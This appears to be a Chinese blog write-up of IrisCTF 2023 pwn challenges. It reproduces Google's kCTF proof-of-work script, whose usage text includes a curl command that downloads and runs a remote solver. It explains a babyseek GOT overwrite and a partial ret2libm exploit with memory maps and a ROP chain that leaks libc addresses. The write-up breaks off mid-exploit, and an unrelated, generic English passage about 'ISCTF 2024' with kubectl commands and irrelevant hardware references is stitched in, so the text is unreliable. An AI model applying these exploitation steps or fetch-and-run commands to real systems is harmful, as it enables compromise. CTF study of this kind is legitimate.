[irisctf 2023] pwn部分

本来是作Realworld5的,但进去以后一看啥都不会。本来打算周末就休息了,一看还有一个irisctf只不过附件都在discord上的,这个都下不来。搜来搜去搜了一天,终于搜到一个软件可以下载。

pwn

babyseek

这比赛为防止爆破用了一个谷歌的运算来延里。谷歌也上不去,好在github能上去,这上边有这个程序,包含解题程序。

先放这

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#     https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.

import base64
import os
import secrets
import socket
import sys
import hashlib

try:
    import gmpy2
    HAVE_GMP = True
except ImportError:
    HAVE_GMP = False
    sys.stderr.write("[NOTICE] Running 10x slower, gotta go fast? pip3 install gmpy2\n")

VERSION = 's'
MODULUS = 2**1279-1
CHALSIZE = 2**128

SOLVER_URL = 'https://goo.gle/kctf-pow'

def python_sloth_root(x, diff, p):
    exponent = (p + 1) // 4
    for i in range(diff):
        x = pow(x, exponent, p) ^ 1
    return x

def python_sloth_square(y, diff, p):
    for i in range(diff):
        y = pow(y ^ 1, 2, p)
    return y

def gmpy_sloth_root(x, diff, p):
    exponent = (p + 1) // 4
    for i in range(diff):
        x = gmpy2.powmod(x, exponent, p).bit_flip(0)
    return int(x)

def gmpy_sloth_square(y, diff, p):
    y = gmpy2.mpz(y)
    for i in range(diff):
        y = gmpy2.powmod(y.bit_flip(0), 2, p)
    return int(y)

def sloth_root(x, diff, p):
    if HAVE_GMP:
        return gmpy_sloth_root(x, diff, p)
    else:
        return python_sloth_root(x, diff, p)

def sloth_square(x, diff, p):
    if HAVE_GMP:
        return gmpy_sloth_square(x, diff, p)
    else:
        return python_sloth_square(x, diff, p)

def encode_number(num):
    size = (num.bit_length() // 24) * 3 + 3
    return str(base64.b64encode(num.to_bytes(size, 'big')), 'utf-8')

def decode_number(enc):
    return int.from_bytes(base64.b64decode(bytes(enc, 'utf-8')), 'big')

def decode_challenge(enc):
    dec = enc.split('.')
    if dec[0] != VERSION:
        raise Exception('Unknown challenge version')
    return list(map(decode_number, dec[1:]))

def encode_challenge(arr):
    return '.'.join([VERSION] + list(map(encode_number, arr)))

def get_challenge(diff):
    x = secrets.randbelow(CHALSIZE)
    return encode_challenge([diff, x])

def solve_challenge(chal):
    [diff, x] = decode_challenge(chal)
    y = sloth_root(x, diff, MODULUS)
    return encode_challenge([y])

def can_bypass(chal, sol):
    from ecdsa import VerifyingKey
    from ecdsa.util import sigdecode_der
    if not sol.startswith('b.'):
        return False
    sig = bytes.fromhex(sol[2:])
    with open("/kctf/pow-bypass/pow-bypass-key-pub.pem", "r") as fd:
        vk = VerifyingKey.from_pem(fd.read())
    return vk.verify(signature=sig, data=bytes(chal, 'ascii'), hashfunc=hashlib.sha256, sigdecode=sigdecode_der)

def verify_challenge(chal, sol, allow_bypass=True):
    if allow_bypass and can_bypass(chal, sol):
        return True
    [diff, x] = decode_challenge(chal)
    [y] = decode_challenge(sol)
    res = sloth_square(y, diff, MODULUS)
    return (x == res) or (MODULUS - x == res)

def usage():
    sys.stdout.write('Usage:\n')
    sys.stdout.write('Solve pow: {} solve $challenge\n')
    sys.stdout.write('Check pow: {} ask $difficulty\n')
    sys.stdout.write('  $difficulty examples (for 1.6GHz CPU) in fast mode:\n')
    sys.stdout.write('             1337:   1 sec\n')
    sys.stdout.write('             31337:  30 secs\n')
    sys.stdout.write('             313373: 5 mins\n')
    sys.stdout.flush()
    sys.exit(1)

def main():
    if len(sys.argv) != 3:
        usage()
        sys.exit(1)

    cmd = sys.argv[1]

    if cmd == 'ask':
        difficulty = int(sys.argv[2])

        if difficulty == 0:
            sys.stdout.write("== proof-of-work: disabled ==\n")
            sys.exit(0)


        challenge = get_challenge(difficulty)

        sys.stdout.write("== proof-of-work: enabled ==\n")
        sys.stdout.write("please solve a pow first\n")
        sys.stdout.write("You can run the solver with:\n")
        sys.stdout.write("    python3 <(curl -sSL {}) solve {}\n".format(SOLVER_URL, challenge))
        sys.stdout.write("===================\n")
        sys.stdout.write("\n")
        sys.stdout.write("Solution? ")
        sys.stdout.flush()
        solution = ''
        with os.fdopen(0, "rb", 0) as f:
            while not solution:
                line = f.readline().decode("utf-8")
                if not line:
                    sys.stdout.write("EOF")
                    sys.stdout.flush()
                    sys.exit(1)
                solution = line.strip()

        if verify_challenge(challenge, solution):
            sys.stdout.write("Correct\n")
            sys.stdout.flush()
            sys.exit(0)
        else:
            sys.stdout.write("Proof-of-work fail")
            sys.stdout.flush()

    elif cmd == 'solve':
        challenge = sys.argv[2]
        solution = solve_challenge(challenge)

        if verify_challenge(challenge, solution, False):
            sys.stderr.write("Solution: \n".format(solution))
            sys.stderr.flush()
            sys.stdout.write(solution)
            sys.stdout.flush()
            sys.stderr.write("\n")
            sys.stderr.flush()
            sys.exit(0)
    else:
        usage()

    sys.exit(1)

if __name__ == "__main__":
    main()

回来看题,题目给了原码。

从代码上看,他先打开文件/dev/null,然后给出后门地址和file里_IO_write_ptr的值,然后可以输入一个偏移加到_IO_write_ptr上。就去做一个fwrite就exit结束了。

到这虽然不知道原理但猜也是把这个偏移加上去让他指向一个位置,由于后边只有exit所以显然是把它指向got.exit在这里写上win的地址就行了。

ret2libm

题还挺新颖,头回见着这个。

先看源码,程序调用libm库,这个库执行数学运算用的。

加载地址和libc地址还有栈地址目前都不知道。仅给了libm中fabs函数地址。然后一个gets溢出。

这个由于libm库里没有read,write所以打算用rop,因为syscall这东西只有两个字符,仅运行一次的话到是有不少。不过一次好像完不了。

在本地运行时发现一个情况,libm加载的地址在libc后0x400000,而且这个地址是不变的。原来听说过在2.27以下这个是不变的,估计这就是突破点。

gdb-peda$ vmmap
Start              End                Perm      Name
0x0000555555400000 0x0000555555401000 r-xp      /home/kali/ctf/other/p2/chal
0x0000555555600000 0x0000555555601000 r--p      /home/kali/ctf/other/p2/chal
0x0000555555601000 0x0000555555602000 rw-p      /home/kali/ctf/other/p2/chal
0x0000555555602000 0x0000555555605000 rw-p      /home/kali/ctf/other/p2/chal
0x00007ffff7400000 0x00007ffff75e7000 r-xp      /home/kali/glibc/libs/2.27-3ubuntu1.5_amd64/libc-2.27.so
0x00007ffff75e7000 0x00007ffff77e7000 ---p      /home/kali/glibc/libs/2.27-3ubuntu1.5_amd64/libc-2.27.so
0x00007ffff77e7000 0x00007ffff77eb000 r--p      /home/kali/glibc/libs/2.27-3ubuntu1.5_amd64/libc-2.27.so
0x00007ffff77eb000 0x00007ffff77ed000 rw-p      /home/kali/glibc/libs/2.27-3ubuntu1.5_amd64/libc-2.27.so
0x00007ffff77ed000 0x00007ffff77f1000 rw-p      mapped
0x00007ffff7800000 0x00007ffff799d000 r-xp      /home/kali/glibc/libs/2.27-3ubuntu1.5_amd64/libm-2.27.so
0x00007ffff799d000 0x00007ffff7b9c000 ---p      /home/kali/glibc/libs/2.27-3ubuntu1.5_amd64/libm-2.27.so
0x00007ffff7b9c000 0x00007ffff7b9d000 r--p      /home/kali/glibc/libs/2.27-3ubuntu1.5_amd64/libm-2.27.so
0x00007ffff7b9d000 0x00007ffff7b9e000 rw-p      /home/kali/glibc/libs/2.27-3ubuntu1.5_amd64/libm-2.27.so
0x00007ffff7c00000 0x00007ffff7c29000 r-xp      /home/kali/glibc/libs/2.27-3ubuntu1.5_amd64/ld-2.27.so
0x00007ffff7e29000 0x00007ffff7e2a000 r--p      /home/kali/glibc/libs/2.27-3ubuntu1.5_amd64/ld-2.27.so
0x00007ffff7e2a000 0x00007ffff7e2b000 rw-p      /home/kali/glibc/libs/2.27-3ubuntu1.5_amd64/ld-2.27.so

远程运行是不是0x400000,是多少由于有开始的运算延时,所以不能爆破。于是先用一个ROP来输出一下。由于可以用一次syscall也就能用ROP来执行写(没有/bin/sh就不能直接调用execv)。

libm和普通程序一样会有got表,在got表里找到一个memmove这个函数运行以后会填入libc.memcpy的地址。先调用一次让他填充再执行syscall write

#call memmove(buf,buf,8) fill got.memmove print libc.memcpy
rop = flat(0, 0, pop_rdi, libm_bss, pop_rsi,libm_bss+8, pop_rdx,8, libm.plt['memmove'], pop_rdi,1, pop_rsi,libm.got['memmove'], pop_rdx, 8, pop_rax, 1, syscall)
### ISCTF 2024 Pwn Challenge Solutions and Resources For challenges within the ISCTF 2024 Pwn category, participants often face tasks that involve exploiting software vulnerabilities to gain unauthorized access or execute arbitrary code. The provided command `kubectl get deployments,services -l challenge=challenge-name` can be used to list Kubernetes resources related to a specific challenge by applying labels[^1]. This approach is useful when dealing with containerized applications where infrastructure as code plays an essential role. However, solving pwn challenges typically requires understanding common exploitation techniques such as buffer overflows, format string bugs, use-after-free errors, etc., which are not directly addressed through Kubernetes commands alone. Participants should focus on learning about these attack vectors along with defensive coding practices to both exploit weaknesses safely and secure their own systems against similar attacks. Regarding silicon-validated System-on-Chip (SoC) implementations like those mentioned for PicoSoc/PicoRV32, while interesting from a hardware perspective, they do not directly apply to typical web-based or application-layer CTF problems unless specifically designed into the challenge scenario[^2]. It's important to adhere strictly to ethical guidelines when engaging in any cybersecurity activities; all efforts must remain legal and responsible at all times[^3]. To effectively tackle pwn challenges: - Study past CTF events' write-ups focusing on binary exploitation. - Practice using platforms dedicated to improving reverse engineering skills. - Explore documentation around low-level programming languages and operating system internals. ```bash # Example of listing relevant Kubernetes objects tagged under 'pwn' $ kubectl get pods,services,jobs -l track=pwn ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值